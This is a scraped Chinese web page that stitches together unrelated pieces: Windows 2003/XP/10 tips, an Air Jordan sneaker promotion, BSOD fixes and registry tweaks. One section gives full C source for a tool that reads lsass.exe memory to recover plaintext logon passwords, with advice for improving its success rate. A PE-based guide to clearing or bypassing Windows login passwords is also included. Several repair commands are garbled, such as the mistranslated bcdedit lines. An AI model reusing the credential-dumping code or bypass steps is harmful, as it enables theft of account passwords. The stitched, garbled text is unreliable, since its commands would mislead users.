吐槽win10【最新20篇】

如何在win2003中安全的释放内存

经常看到有朋友在论坛上诉苦说需要释放内存，其实如果你安装了Windows 2003的话，那么并不需要寻求那些需要注册才能长久使用的第三方内存管理软件。因为Windows 2003已经自带了一个名为Empty.exe的小程序，它可以用来释放某些应用程序在占用大量内存时不能及时释放的那部分资源，与那些第三方软件内存管理软件不同的是， Empty.exe不会强迫系统全部释放资源，而是仅仅释放必要的资源，这样就不会加重硬盘的负担了。

Empty.exe的使用相当简单，命令格式如下：

Empty.exe pid（pid指进程的product id）

或者是Empty.exe task-name（task-name指进程的名称）

最后需要说明的是，Empty.exe仅仅能在Windows Server 2003中使用，Windows 2000/XP中就无缘使用了。

winXP/2003系统服务备份与保护

在对系统服务进行配置管理以前，对其进行备份是相当重要的，一旦出现错误可以马上恢复到正常状态。这里，我们介绍直接备份注册表中与服务相关的内容。

1.备份系统服务

在对系统服务进行配置管理以前，对其进行备份是相当重要的，一旦出现错误可以马上恢复到正常状态。这里，我们介绍直接备份注册表中与服务相关的内容。

(1)运行注册表编辑器，依次展开注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices。

(2)单击“文件→导出”菜单命令，在出现的对话框中，单击“所选分支”选项，将此分支下的注册表内容导出并保存为一个REG文件。如果需要恢复系统服务，可以直接双击该REG文件导入注册表。

2.灾难保护

如果由于你的误操作，不慎禁用了某一个重要的服务，导致Windows无法启动，因此，你也无法重新启动相应的服务，这就造成了一个恶性循环。在这种情况下，我们只能使用系统控制台来进行手动恢复。在系统控制台中，我们可以随意启动任何服务或控制服务的启动类型。

将Windows XP安装光盘放入光驱中，然后在BIOS中将光驱启动设置为优先。启动电脑进入“欢迎使用安装程序”界面时，依照提示，按下R键进入Windows XP“故障恢复控制台”界面。选择需要修复的系统，并键入系统管理员密码。

在命令提示符状态下，我们需要用到“Enable”和“Disable”命令。其中，Enable的命令格式为“enable [service_name] [startup_type]”；Disable的命令格式为“disable [service_name]”。在这里，[service_name]是希望启用/禁用的服务或设备名称，[startup_type]则是启动的类型，表示了不同的启动类型。可用的类型包括有Service_disabled、Service_boot_start、Service_system_start、Service_auto_start、Service_demand_start。

下面我们以禁用Windows XP中的系统帮助为例，先将该服务的启动类型设置为禁用，然后重新启用它。

(1)进入“故障恢复控制台”界面，运行“listsvc”命令查看各种服务的运行状态，在这里，我们可以看到系统帮助服务是启动的，输入“disable helpsvc”命令并回车，即可将系统帮助服务禁用。

(2)如果需要重新启动该服务并设置该服务随系统自动运行，可以输入“enable helpsvc service_boot_start”命令回车即可。

airjordan11winlike82配色最近被UNC球员们上脚了，在球场上吸引了不少粉丝的目光，非常好看。下面本网小编给大家讲讲airjordan11winlike82配色什么时候发售？airjordan11winlike82配色上脚效果怎么样？

AJ11最新配色

airjordan11winlike82配色终于公开了发售信息，这双鞋子设计的简直太好看了，大家在双十一当天去抢吧！

这款AirJordan11“WinLike82”昨晚在北美通过SNKRS意外提前少量发售，除此之外，鞋款将在11月11日正式发售。UNC球员们为庆祝全国冠军的旗帜亮相也在昨天晚上的比赛中提前上脚了该款球鞋，以及全新设计的JustDonxAirJordan球裤也一同亮相。

AJ品牌介绍

空中飞人(AirJordan)是耐克旗下以史上最著名的NBA球星迈克尔·乔丹(MichaelJordan)命名的系列。1985年，迈克尔·乔丹(MichaelJordan)以高薪合约被当时还是小厂家的体育用品生产商耐克(Nike)签约至旗下，耐克(Nike)更随即为乔丹推出了第一款以乔丹命名的球鞋，即空中飞人(AirJordan)系列的第一款。虽然这款球鞋在当时具备奇特的配色以及新奇的科技，但是谁都不曾想到，这居然会是一个神话的开始。AIRJORDAN外底使用坚实的牵引力和出色的柔性。凹槽模仿人类脚的自然运动而设计。JordanBrand的汤姆Luedecke解释说：“它的纬向工程实际相匹配的足迹。我们正在寻找一个脚印发现鞋的磨损最初发生地方，适量的牵引模式”。乔丹品牌开发的专有编织技术和标准碳纤维并不会有什么不同，但它的大小和形状是有不同的。

AJ11怎么样

收到了小红书的礼物，竟然是12月10日发售的AirJordan11SpaceJam。SpaceJam大灌篮20周年，最经典的大灌篮配色!造型上一如既往的帅气!准备搭配短裤和卫衣穿，想想都有些激动!这两天一直在下雨，等雨停了我一定要去室外尽情玩耍去拍大片给你们看!嘿嘿。

上次发售aj11已经是两年前的事儿了!今年6月入手了一双11的低帮版，跑了很多地儿才买到大魔王配色，确实比北卡蓝好看太多，黑色的真是超帅超酷!低帮设计比较方便脱穿，漆皮鞋头干净利落!鞋子很有纪念意义。

第一双aj11是老公先斩后奏买的，起初并没有特别喜欢。有一次逛街看见儿童款的，于是老公心里就长草了，过了几天非得让我去问价格。因为还在孕期宝宝也没有出生，怕买了宝宝也没机会穿，结果我就没买。又一次逛街，我和老公又去看，结果终于给他拔草把这童鞋给收了。结账时导购说第二天来成人女款，但是37～40码的，38号的只有一双还是她们店里白金会员预定的。我也就没上心，过了几天去店里看试了37的有点挤，店员说有38的就是别人预订的，但是给那个会员打了两次电话都没接她们就认为自动放弃了，正巧赶上我能穿着合适，于是就毫不犹豫的收了这双鞋。也许这就是缘分!期待我们一家三口穿上这鞋的样子，暂时先收起来，等宝宝能穿了我们一起穿。

穿起来的感觉就是帅，正品，烽火的忠实粉，以后买鞋认准烽火。

烽火的鞋，不用多讲。这款11，是太空大灌篮版，所以绣的号码不是23。穿上它可以给好多鞋盲普及一下球鞋知识哈哈。

如何能够修复启动错误“0xc000000e：windows无法启动”的问题？

电脑会无故的出现的问题，这是怎么一回事呢？屏幕上显示的有RECOVERY并要求需要插入安装媒体的标识，但是按F8键并没有任何的帮助。这可怎么办才好，我们一起来看看吧。

操作方法

BSOD（蓝屏死机），其值显示为0xc000000e也被称为“由于应用程序丢失或损坏而无法加载所选条目”这是一个相对比较严峻的问题，针对这样的问题必须即刻解决以便恢复功能系统能够正常的运行。此也被称为Windows启动错误。这可以尝试性的通过启动窗口并出现0xc000000e BSOD的事实现象来解释此问题。获取此错误消息表示您的笔记本电脑或PC遇到了引导配置数据（BCD）上的问题。根据Microsoft的说法，“引导配置数据（BCD）存储包含引导配置参数，并控制操作系统的启动方式“在Microsoft Windows操作系统中，包括Windows 7,8,8.1，Vista，XP和10.因此，如果BCD损坏或损坏，Windows系统无法成功启动并需要恢复。因此，如果您遇到0xc000000e错误并无法访问您的设备，我们一起来看看吧。

如何修复启动错误“0xc000000e：Windows无法启动”？

如果遇到蓝屏错误0xc000000e的情况下，会看到黑屏窗口的界面，该窗口会提供如何修复此错误的指南的相关问题。此时，需要进行dick的安装或恢复驱动程序。若没有，不必担心。在此情况之下，需要使用另一台PC来创建Windows Media Creation工具。不过说先应该启动BIOS设置。这是因操作系统类型而异而产生的，请查看有关如何在线启动BIOS的说明。一旦启动进入BIOS设置，需要转到Boot Use并根据所要使用的设置设置主设备（CD-ROM或USB端口）。此时单击“ 保存”即可。

此时需要使用恢复驱动程序。若没有此情况，请将DVD或USB的驱动器插入另外一台计算机，其次从Microsoft官方网站下载Media Creation Tool应用。以下是需要做的：

首先，USB闪存盘或DVD驱动器：

接着就下载媒体创建工具后，立即将它启动。

若是要求接受T＆C，请继续进行操作，然后会出现一个新的界面。

在新屏幕上，将会看到两个选项，其中一个是升级此PC，此外就是另一台PC的创建安装介质。此刻应该选择第二个选项。

此外，现在需要对语言的选择，架构和版本。

完成这一步骤之后，在USB闪存驱动器和ISO文件之间进行一个 选择。首先单击USB闪存驱动器选项并插入至少具有8 GB可用空间的USB或DVD驱动器。

然后，将驱动器打开，再单击进行“ 下一步”。Media Creation工具将在USB上进行Windows 10下载与升级，现在可以使用它来修复遇到引导错误的PC。

之后，从USB驱动器或DVD 启动受0xc000000e错误影响的计算机。如果已更改了BIOS的引导顺序，接下来只需在出现提示时任意点击键盘上的任何一键即可。若进入后，下一步是启动配置数据的重建。因此，请按照以下的步骤进行：Windows安装程序打开后，进行语言选择。

选择计算机的修复。

在“ 选择选项”屏幕上的这一界面，然后选择“ 疑难解答”选项，并单击“ 高级选项”，接着再单击“ 命令提示符”的选项。

当黑色命令提示符窗口打开时，在每个命令打开之后按Enter键并进入以下命令：

cd x： sources recovery StartRep.exe

然后要确保Windows引导错误0xc000000e的成功修复，然后输入bcdedit命令并检查为Windows启动管理器设置的值。将它设置为unknown，请在命令提示符窗口中输入以下命令，然后在每个命令后按Enter键：

bcedit / set {DEFAULT.EN_US}设备分区= c：bcedit / set {DEFAULT.EN_US} osdevice partition = c：bcedit / set {BOOTMGR.EN_US}设备分区= c：

完成之后，关闭命令提示符窗口，删除恢复驱动器，然后重新启动PC。希望不会看到“0xc000000e：Windows无法启动”BSOD的界面。

如何在Windows上修复蓝屏错误THREAD_STUCK_IN_DEVICE_DRIVER？

问题：如何在Windows上修复蓝屏错误THREAD_STUCK_IN_DEVICE_DRIVER？

在玩游戏时尝试使用互联网时出现THREAD_STUCK_IN_DEVICE_DRIVER错误。几周前已将Windows 10升级过。帮忙解决一下这个问题呗。

THREAD_STUCK_IN_DEVICE_DRIVER是一个BSOD（蓝屏失败）错误，同时也称为停止错误代码0x000000EA。屏幕被冻结可能会在各种条件下产生，eg：在Windows启动/重启后，进行软件的加载，下载软件/硬件时等等。但是，在大多数情况下，用户玩游戏或使用多媒体会被THREAD_STUCK_IN_DEVICE_DRIVER错误会所阻止，此现象是由错误的视频卡驱动程序或损坏的图形卡引起的。此错误可能被称为无限循环的问题，这意味无限循环中持续旋转的操作存在设备驱动程序中，等待硬件变为空闲或被其他过程中所占用的问题。

THREAD_STUCK_IN_DEVICE_DRIVER BSOD往往出现在同时拥有AMD和nVidia显卡的PC /笔记本电脑上。这个问题非常严峻，同时需要进行修复与IT相关的特定知识，下面有一些全面的指南来对此问题进行一些帮助，接下来需要做的就是修复THREAD_STUCK_IN_DEVICE_DRIVER错误，务必要正确执行一下所有步骤。

操作方法4

更新视频卡驱动程序

首先单击右键Win键，然后选择“ 设备管理器”的选项。

在列表中找到显示适配器，然后将其展开。

找到相应的图形卡，右键单击它，再进行下一步选择更新驱动程序软件。

这样系统驱动程序将会自动检查和更新。完成以上步骤后，唯一需要重新启动PC就是了。

结束之后，访问一下GPU制造商的官方网站，下载并安装最新版本的驱动程序。

重置硬件加速

若第一种方法无法帮助THREAD_STUCK_IN_DEVICE_DRIVER错误的修复，那么就尝试将硬件加速设置为无。步骤如下：

单击“ 赢”键，输入“ 显示”，然后从搜索结果中选择“ 显示 ”。

之后，单击页面底部的“ 高级显示设置”选项。

选择疑难解答，然后选择更改设置。

在此窗口内，找到加速度，并在其旁边拖动。将拖动按钮设置为无，然后单击确定。

最后，将电脑重新启动并检查THREAD_STUCK_IN_DEVICE_DRIVER BSOD是否消失。

运行可用的BIOS更新

点击Win键+ R，键入msinfo32，接着再按Enter键。

选择System Summary并找到BIOS版本。BIOS的类型选择不可以出错。充其量，找一个位置写下它的名字做标记。

之后，然后在制造商的官方网站导航入PC /笔记本电脑主板，检查BIOS是否是更新过的版本。如果是，请下载并运行其.exe文件。

最后，将电脑重启。

总而言之，再做一点补充，使用的 PC或笔记本电脑的性能在很大程度上取决于自己的使用。这就是为什么需要给系统做定期的清洁，避免安装到不可靠的应用程序，确保适当的安全性等非常重要。这就是专家建议始终在系统上安装两种类型的软件，即防病毒和优化工具。Internet上有许多专业工具，因此可以选择自己喜欢的使用工具。然而，在优化工具的情况下，强烈建议使用Reimage，它清理系统是不二之选。

有时在按“Ctrl”或“Alt”组合键的时候会误触开始菜单键，导致出现“win”组合键的操作，实际上“win”组合键可以自由禁用的。

1.首先打开“开始菜单”，输入“注册表编辑器”并按回车键，打开注册表编辑器；

2.定位到以下路径“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced”；

3.在右侧的窗格中新建字符串值；

4.，命名为“DisabledHotkeys”，双击打开，在数值数据中输入想要禁用的“win+[某个字母键]”，可以输入多个字母来表示禁用这所有的与“win”的组合键，例如输入了“ASD”则禁用了“win+A”、“win+S”、“win+D”这三个组合键；

5.重新登录系统后即可使设置生效。

win10字体设置该如何修改呢？今天小编为大家讲解一下。

操作方法

打开电脑，找到设置，点击并进入，如图所示。

进入之后，点击“系统”，如图所示。

进入之后，点击“高级显示设置”，如图所示。

打开电脑，找到控制面板，点击并进入，如图所示。

进入之后，点击“外观和个性化”，进入下一页面，如图所示。

进入之后，点击“更改字体设置”，进入下一页面，如图所示。

进入之后，在图示位置即可更改字体设置，如图所示。

特别提示

以上纯属个人编写，请勿转载抄袭。

戴尔Latitude14 5401笔记本是一款2020年上市的商务办公笔记本电脑，这款电脑搭载了英特尔酷睿第九代i5处理器以及性能级独立显卡，能够满足用户们日常办公使用需求，那么戴尔latitude 14 5401笔记本怎么使用u启动u盘启动盘安装win10系统呢?今天为大家分享戴尔latitude 14 5401笔记本使用u启动u盘启动盘安装系统的操作教程。

准备工作：

1、下载u启动u盘启动盘制作工具

2、下载win10系统镜像并存入u盘启动盘中

安装win10系统操作步骤：

1、把已经制作好的u启动u盘启动盘插入电脑usb接口，设置好开机启动项并按快捷键进入u启动主菜单界面，选择“【02】u启动win8pe标准版(新机器)”并回车，

2、在u启动pe装机工具中，系统会自动识别系统镜像安装包，在下拉菜单中选择win10系统镜像，接着选择c盘做系统盘，点击“确定”，

3、这时会弹出程序将执行还原操作提示框，点击“确定”，

4、之后就是系统还原过程，还原成功后电脑会自动重启计算机，然后进行程序安装，静静等待安装完成，

5、win10安装完成后就可以进行系统的相关设置了，之后便可使用win10系统。

关于戴尔latitude 14 5401笔记本使用u启动u盘启动盘安装win10系统的操作步骤就为小伙伴们详细分享到这里了，如果用户们对使用u启动u盘启动盘安装系统不够了解，可以尝试以上方法步骤进行操作哦，希望本篇教程能够帮到大家，更多精彩教程请关注小编。

win10系统怎么显示U盘隐藏文件呢？下面小编来告诉大家。

操作方法

首先，我们打开我们的电脑，然后我们双击电脑桌面上的一个文件夹；

弹出的界面，我们点击查看；

弹出的界面，我们点击隐藏的项目前面的点击勾选框；

点击完成后如图所示，之后我们就可以去打开U盘了，此时已经可以显示U盘里面隐藏的文件了。

如何设置win2003的本地策略

本文介绍了如何在工作组设置中基于Windows Server 2003 的计算机上将本地策略应用于除管理员以外的所有用户

在工作组设置（而非域）中使用基于Windows Server 2003 的计算机时，可能需要在该计算机上实施本地策略，这些策略可应用于该计算机的所有用户，但不可应用于管理员。有了这一例外，管理员可以保留对计算机的无限制访问权和控制权，并且还可以限制可登录该计算机的用户。

将本地策略应用于除管理员以外的所有用户

要对除管理员以外的所有用户实施本地策略，请执行以下步骤：

以管理员身份登录到计算机。

打开本地安全策略。要实现这一点，请执行以下操作：

单击开始运行，键入gpedit.msc，然后按ENTER 键。

或者单击开始运行，键入mmc，按ENTER键，添加“组策略对象编辑器”，然后为本地安全策略对其进行配置。

如果删除运行命令是您所需要的策略之一，Microsoft 建议您通过“Microsoft 管理控制台”(MMC) 编辑该策略，然后将结果保存为图标。这样，您不需要使用运行命令就可以重新打开该策略了。

展开用户配置对象，然后展开管理模板对象。 启用您所需的任何策略（例如，“隐藏桌面上的‘网上邻居’”或“隐藏桌面上的Internet Explorer 图标”）。

备注：一定要选择正确的策略，否则，您可能会限制管理员登录计算机（以及完成配置计算机所需步骤）的能力。Microsoft 建议您记录所做的任何更改。

关闭“Gpedit.msc 组策略”管理单元，或者，如果您使用 MMC，请将控制台保存为图标，以便以后可以访问它，然后从计算机注销。

以管理员身份登录到计算机。

您可以在此登录会话中验证以前所做的策略更改，因为在默认情况下，本地策略会应用于包括管理员在内的所有用户。

从计算机注销，然后以此计算机所有其他用户（您希望他们应用这些策略）的身份登录到计算机。这些策略是为所有这些用户和管理员而实现的。

备注：对于在这一步未登录到计算机的任何用户帐户，都无法为其实现这些策略。

以管理员身份登录到计算机。

单击开始，指向控制面板，然后单击文件夹选项。选择查看选项卡，选中“显示隐藏文件或文件夹”，然后点确定以便可以查看“组策略”隐藏文件夹。或者，打开“Windows 资源管理器”，单击工具，然后单击文件夹选项以查看这些设置。

将位于 %Systemroot%System32GroupPolicyUser 文件夹中的 Registry.pol 文件复制到备份位置（例如，复制到另一硬盘、软盘或文件夹）。

使用“Gpedit.msc 组策略”管理单元或您的 MMC 图标再次打开本地策略，然后启用在为该计算机创建的原始策略中禁用的实际功能。

备注：执行此操作时，“策略编辑器”会创建一个新的 Registry.pol 文件。

关闭策略编辑器，然后将创建的备份 Registry.pol 文件复制回%Systemroot%System32GroupPolicyUser 文件夹中。

系统提示替换现有文件时，单击是。

从计算机注销，然后以管理员身份登录。

由于您是以管理员身份登录到计算机，您可以验证是否没有实施最初所做的更改。从计算机注销，然后以其他用户身份登录。

由于您是以用户（而非管理员）身份登录到计算机，您可以验证是否实施了最初所做的更改。

以管理员身份登录计算机，以确认本地策略不影响您以本地管理员身份登录该计算机。

恢复原始本地策略

要撤消本文中“将本地策略应用于除管理员以外的所有用户”一节介绍的过程，请执行以下步骤：

以管理员身份登录到计算机。

单击开始，指向控制面板，然后单击文件夹选项。单击查看 选项卡，单击“显示隐藏文件和文件夹”，然后单击确定 以便可以查看“组策略”隐藏文件夹。或者，打开“Windows 资源管理器”，单击工具，然后单击文件夹选项。

从 %Systemroot%System32GroupPolicyUser 文件夹中移动、重命名或删除Registry.pol 文件。

在您从计算机注销或重新启动计算机后，“Windows 文件保护”系统会创建另一个默认的 Registry.pol 文件。

打开本地策略。要实现这一点，请单击开始运行，然后键入gpedit.msc。或者，单击开始运行，键入mmc，加载本地安全策略。然后，将设为禁用或启用的所有项目设为未配置，以撤消 Registry.pol 文件所指定的对 Windows Server2003 注册表实施的任何策略更改。

以管理员身份从计算机注销，然后再次以管理员身份登录该计算机。

从计算机注销，然后以本地计算机的所有用户身份登录到该计算机，这样也可以针对它们的帐户撤消更改。

你或许是一个电脑老板，或许只是一个电脑小白。键盘上的win键是哪个 ?你知道是干啥用的吗?键盘上的win键一直都在，但是你想没想过，除了打开菜单栏，他还能干什么?下面小编告诉大家键盘上的win键是哪个，并介绍win键的几个妙用。

键盘上的win键是哪个 图1

一：WIN + L

这个功能是大家最常用的，平时大家在公司上班的时候可能会暂时的离开座位，这个时候如果担心有人动你的电脑的话，就可以按 WIN+L 锁屏，不过要记得设置锁屏密码哦!

键盘上的win键是哪个 图2

二：Win + E

这个快捷键就有很多朋友不知道了，你像我们平时打开我们 我的电脑 的时候都是用鼠标，双击进入，很多电脑大神都是用快捷键打开的，这个快捷键就是 WIN + E 这个就是我们打开 我的电脑的快捷键。

键盘上的win键是哪个 图3

三：WIN + D

这个功能在办公室比较运用，比如说你这会正在玩游戏，这个时候，忽然老板老板要到你身边，你就按一下 WIN + D 就可以一键把所以页面最小化，回到桌面。知道了这个功能之后，以后上班时间玩电脑，再也不用怕被老板抓到了。

键盘上的win键是哪个 图4

通过以上介绍，大家知道 键盘上的win键是哪个，知道它的妙用了吧!

如何在win2003中得到登陆密码

在所有NT系统中，都是有几种方法可以得到登陆用户的密码的。我知道的三种方法可以达到目的。

1.hook了winlogon中几个函数，网上也有这类型的程序，叫winlogonhijack的项目在rootkit.com中有提供，不过那个项目只对本地登陆用户有效，远程登陆用户无效。 2.使用Gina和winlogon进行套接，只要对某些函数执行自己的记录密码的代码，就可以将密码记录下来，稳定性高，而且对本地或远程登陆都有效，不过现存的gina后门程序在XP或2003中都有些函数没有被导出过，主要因为xp和2003等在winlogon中加入了新的函数。

3.直接读取内存数据得到明文密码。在NT 4.0/2K中，早就有程序findpass可以直接读到winlogon进程中的内存数据而直接得到登陆用户密码，因为在NT4.0和2K中，帐号的信息，包括域名，帐号和密码都是有规律地在winlogon内存中的特定地址中，所以可以很简单就得到。但在XP和2003系统中，这样方法是无效的了，似乎我们是没有办法直接读出明文地址了。下面我们就来谈谈如何象findpass在NT 4.0和2K在，在server 2003中得到登陆用户的密码。

虽然XP和2003是不象以前的NT系统那样将登陆用户信息保存在winlogon进程的内存地址内，但是基Lsass进程对于要处理些信息时，需要得到明文的登陆用户密码，所以登陆用户的密码会在Lsass进程中出现(微软没有将密码在Lsass进程中进行加密，微软的说法是因为Lsass需要得到明文的密码，就算将密码加密，也都只能用可逆的方法加密，只要跟踪lsass的操作，一样可以得到明文密码，所以微软使用了比较懒惰的方法，可能也是为了加快响应速度，所以将明文密码更是放在lsass进程内存内)。说到这里，大家心里都清楚了，登陆用户的密码是在lsass进程的内存中。对，就是这么一回事，但是要得到这个明文密码，真是象使用NT 4.0和2K下的findpass那样容易吗?事实上并不是那么容易，因为以下几个原因:

A.密码存放在lsass进程中的内存地址是没有规律的

B.密码有可能被最后登陆的用户复盖(例如管理员abc从本地登陆，然后管理员bbb从远程登陆，然后管理员bbb注销终端，存放在lsass.exe进程内存中的密码，还是管理员bbb的密码)，又或者用户登陆后，然后注销了，那么我们就算得到了密码，也不知道是哪个用户的密码。

C.密码前后的数据也是没有规律的，如果有规律，例如密码前的数据，一定是有一段全是01字符的数据段，那么定位密码就简单。

原因A和C都给我们带来定位密码的困难，原B就带来不能确定密码和帐号对应的问题.看来微软在新的系统还是做过点功夫。不过我们是不会放弃的，就算是碰碰运气，也看能不能得到密码，反正就算失败，也没什么关系。

最后的代码，是我写来测试是不是能在2003的系统中得到登际用户的密码，结果也正好象我们上面的分析一样(当然了，上面的结果是用这程序测测得到的)。成功率当然不高，因为受太多原因所影响，定位密码上的困难或者无法定位，或者得到不是密码的信息等等的原因，都令失败率显得相当高，不过总还是一种方法，或者将来有人可以准确定位到，那就是令人高兴了。虽然说失败率高，但在一种情况下，成功率却是很高的，那就是管理员只是在本地或终端中登陆了，以后再没有用户从本地或终端登陆过，而且管理员也没有锁上过系统，那么成功率就会是相当高的了。

提高成功率的两种做法:

1.程序直接写成服务，定时检查本地或远程登陆(其实没什么分别)，当检测到登陆后，去搜索lsass进程内存，尝试得到密码。 2.程序模拟一个登陆(使用LogonUser()就能搞定)，因为使用LogonUser()这个API，你要提供帐号名和对应的正确的密码，才可以成功，然后你就可以去搜索lsass进程内存。因为知道密码是什么，我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中，模拟登陆和搜索，可以先定位以后登陆的用户的密码会大约保存在什么位置。

无论怎说，三种方法中，最稳定，最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法，毕竟是改动了系统的东西，对系统的稳定性来说，会有考验，直接搜索lsass进程内存的方法呢，虽说也是困难，但准确性，成功率却又是低。

下面的代码使用的是很笨，而且很原始的搜索方法，主要是搜索Lsass内存中"LocalSystem Remote Procedure"这个字符串，因为在相当多的测试中，密码都是保存在有这个字符串的地址后一点的位置中，当然了，很多系统并没有这个字符串，或者就算有，我们得到的都是错误的密码。

代码: //************************************************************* // Version: V1.0 // Coder: WinEggDrop // Date Release: 12/15/2004 // Purpose: To Demonstrate Searching Logon User Password On 2003 Box，The Method // Used Is Pretty Unwise，But This May Be The Only Way To Review The // Logon Users Password On Windows 2003. // Test PlatForm: Windows 2003 // Compiled On: VC++ 6.0 //*************************************************************#include #include #include

#define BaseAddress 0x002b5000 // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address，Which Causes The Result Unreliable

char Password[MAX_PATH] = ; // Store The Found Password

// Function ProtoType Declaration //------------------------------------------------------------------------------------------------------ BOOL FindPassword(DWORD PID); int Search(char *Buffer，const UINT nSize); DWORD GetLsassPID(); BOOL Is2003(); //------------------------------------------------------------------------------------------------------ // End Of Fucntion ProtoType Declaration

int main() { DWORD PID = 0; printf("Windows 2003 Password Viewer V1.0 By WinEggDropnn");

if (!Is2003()) // Check Out If The Box Is 2003 {printf("The Program Cant Only Run On Windows 2003 Platformn");return -1; }

PID = GetLsassPID(); // Get The Lsass.exe PID

if (PID == 0) // Fail To Get PID If Returning Zerom {return -1; }

FindPassword(PID); // Find The Password From Lsass.exe Memory return 0; } // End main()

//------------------------------------------------------------------------------------ // Purpose: Search The Memory & Try To Get The Password // Return Type: int // Parameters: // In: char *Buffer -->The Memory Buffer To Search // Out: const UINT nSize -->The Size Of The Memory Buffer // Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure"， // Since The Password Is Near The Above Location，But Its Not Always True That // We Will Find The Magic String，Or Even We Find It，The Password May Be Located // At Some Other Place.We Only Look For Luck //------------------------------------------------------------------------------------ int Search(char *Buffer，const UINT nSize) { UINT OffSet = 0; UINT i = 0; UINT j = 0 ; UINT Count = 0; if (Buffer == NULL) {return -1; } for (i = 0 ; i 0){Password[Count++] = Buffer[j];}else{break;}}return i + 7; // One Flag To Indicate We Find The Password}} } return -1; // Well，We Fail To Find The Password，And This Always Happens } // End Search

//------------------------------------------------------------------------------------ // Purpose: To Get The Lsass.exe PID // Return Type: DWORD // Parameters: None //------------------------------------------------------------------------------------ DWORD GetLsassPID() { HANDLE hProcessSnap; HANDLE hProcess = NULL; PROCESSENTRY32 pe32; DWORD PID = 0;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS， 0); if( hProcessSnap == INVALID_HANDLE_VALUE ) {printf("Fail To Create Snap Shotn");return 0; }

pe32.dwSize = sizeof(PROCESSENTRY32);

if( !Process32First(hProcessSnap， &pe32)) {CloseHandle(hProcessSnap); // Must clean up the snapshot object!return 0; }

do {if (strcmpi(pe32.szExeFile，"Lsass.EXE") == 0){PID = pe32.th32ProcessID;break;} }while(Process32Next( hProcessSnap， &pe32));

CloseHandle( hProcessSnap); return PID; } // End GetLsassPID()

//------------------------------------------------------------------------------------ // Purpose: To Find The Password // Return Type: BOOLEAN // Parameters: // In: DWORD PID ->The Lsass.exes PID //------------------------------------------------------------------------------------ BOOL FindPassword(DWORD PID) { HANDLE hProcess = NULL; char Buffer[5 * 1024] = ; DWORD ByteGet = 0; int Found = -1;

hProcess = OpenProcess(PROCESS_VM_READ，FALSE，PID); // Open Process if (hProcess == NULL) {printf("Fail To Open Processn");return FALSE; }

if (!ReadProcessMemory(hProcess，(PVOID)BaseAddress，Buffer，5 * 1024，&ByteGet)) // Read The Memory From Lsass.exe {printf("Fail To Read Memoryn");CloseHandle(hProcess);return FALSE; }

CloseHandle(hProcess);Found = Search(Buffer，ByteGet); // Search The Password if (Found >= 0) // We May Find The Password {if (strlen(Password) >0) // Yes，We Find The Password Even We Dont Know If The Password Is Correct Or Not{printf("Found Password At #0x%x ->"%s"n"，Found + BaseAddress，Password);} } else {printf("Fail To Find The Passwordn"); } return TRUE; } // End FindPassword

//------------------------------------------------------------------------------------ // Purpose: Check If The Box Is Windows 2003 // Return Type: BOOLEAN // Parameters: None //------------------------------------------------------------------------------------ BOOL Is2003() { OSVERSIONINFOEX osvi; BOOL b0sVersionInfoEx; ZeroMemory(&osvi，sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi))) {osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2); } // End Is2003() // End Of File

附件程序相当于密码定位程序，用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.

用法:

1.locator 字符串 ->在lsass进程内存中搜索指定的那个"字符串"，返回确定的位置

2.Locator 用户名 密码 ->在系统中建立一个参数指定的用户，并进行模拟登陆，然后搜索"密码"在lsass进程内存中的位置，生成的帐户程序运行完后会自动删除。

电脑长期使用，或者长期不清理系统垃圾，就容易出现右键点击反应慢的情形，那该怎么解决这个问题呢？下面我来讲一讲。

操作方法

首先，我们点击开始菜单，点击“运行”。

然后在“打开”输入“regedit”,点击确定，打开注册表。

如图所示，依次在注册表中打开“HKEY_CLASSES_ROOTDirectoryackgroundshellexContextMenuHandlers”。

然后，如图所示，把“ContextMenuHandlers”项目下面的所有键值一一用右键点击删除掉，只留下“new”。关掉注册表，最好重启下电脑，右键点击应该就会变快了。

这里介绍win7忘记开机密码如何开机的2种方法，此篇指南可以为您解决这个问题

工具/材料

U盘启动盘

方法1：直接清除Windows登录账户密码

以戴尔电脑为例，开机按“F2”键进入BIOS中

找到“Boot Sequence”选项，点击此项

勾选“USB Storage Device ”选项，点击“向上箭头”键将USB Storage Device 置于第一启动项；

在“Boot List Option”中选择“Legacy”选项

点击“Exit”，选择“Yes”保存刚才的设置，插入U盘，重启电脑后进入U盘PE系统

进入U盘PE系统中，点击“运行Windows登录密码破解菜单——清除Windows登录密码（修改密码）”选项

选择Windows系统所在分区，选择好后输入序号1，按“Enter”键

系统会自动搜索SAM（账户密码文件）位置

搜索到密码文件后，按“Enter”键继续

然后选择你设置密码的账户，输入序号，按“Enter”键

然后选择你设置密码的账户，输入序号，按“Enter”键

重启电脑后已经没有了账户登录密码，正常进入Windows 7桌面

方法2：绕过Windows账户登录密码

在U盘PE系统中，选择“运行Windows 登录密码破解菜单”

选择“绕过Windows 登录密码（不修改密码）”

成功进入Windows 7系统

特别提示

注意：方法1是彻底清除Windows 账户登录密码

注意：方法2是绕过Windows 账户密码，但是密码还在，可以进入控制面板重新修改账户密码

仅个人经历得出的结论

若有不足的话，还望指教

谢谢各位支持

很多时候我们需要用电脑查看手机上的内容。不过有线连接比较麻烦，我们可以用手机无线投屏电脑win7。

首先手机和电脑须连接同一个无线网络，在电脑上按住win+R，在弹出的窗口输入services.msc，进入Windows服务界面。然后找到SSDP Discovery右键属性设置为启动，接着把Windows MediaPlayer Network Sharing Service右键属性设置为启动。

在电脑“控制面板-网络和Internet-网络和共享中心”将当前电脑的无线网络类型设置为“家庭网络”，点击家庭网络，开启媒体流功能。最后打开电脑自带的播放器windows media player，开启“允许远程控制我的播放器”和“自动允许设备播放我的媒体”这两项，并保持windows media player不要关闭。

完成上述步骤后在手机上打开无线投屏，就能搜索到电脑，连接后即可开始无线投屏。

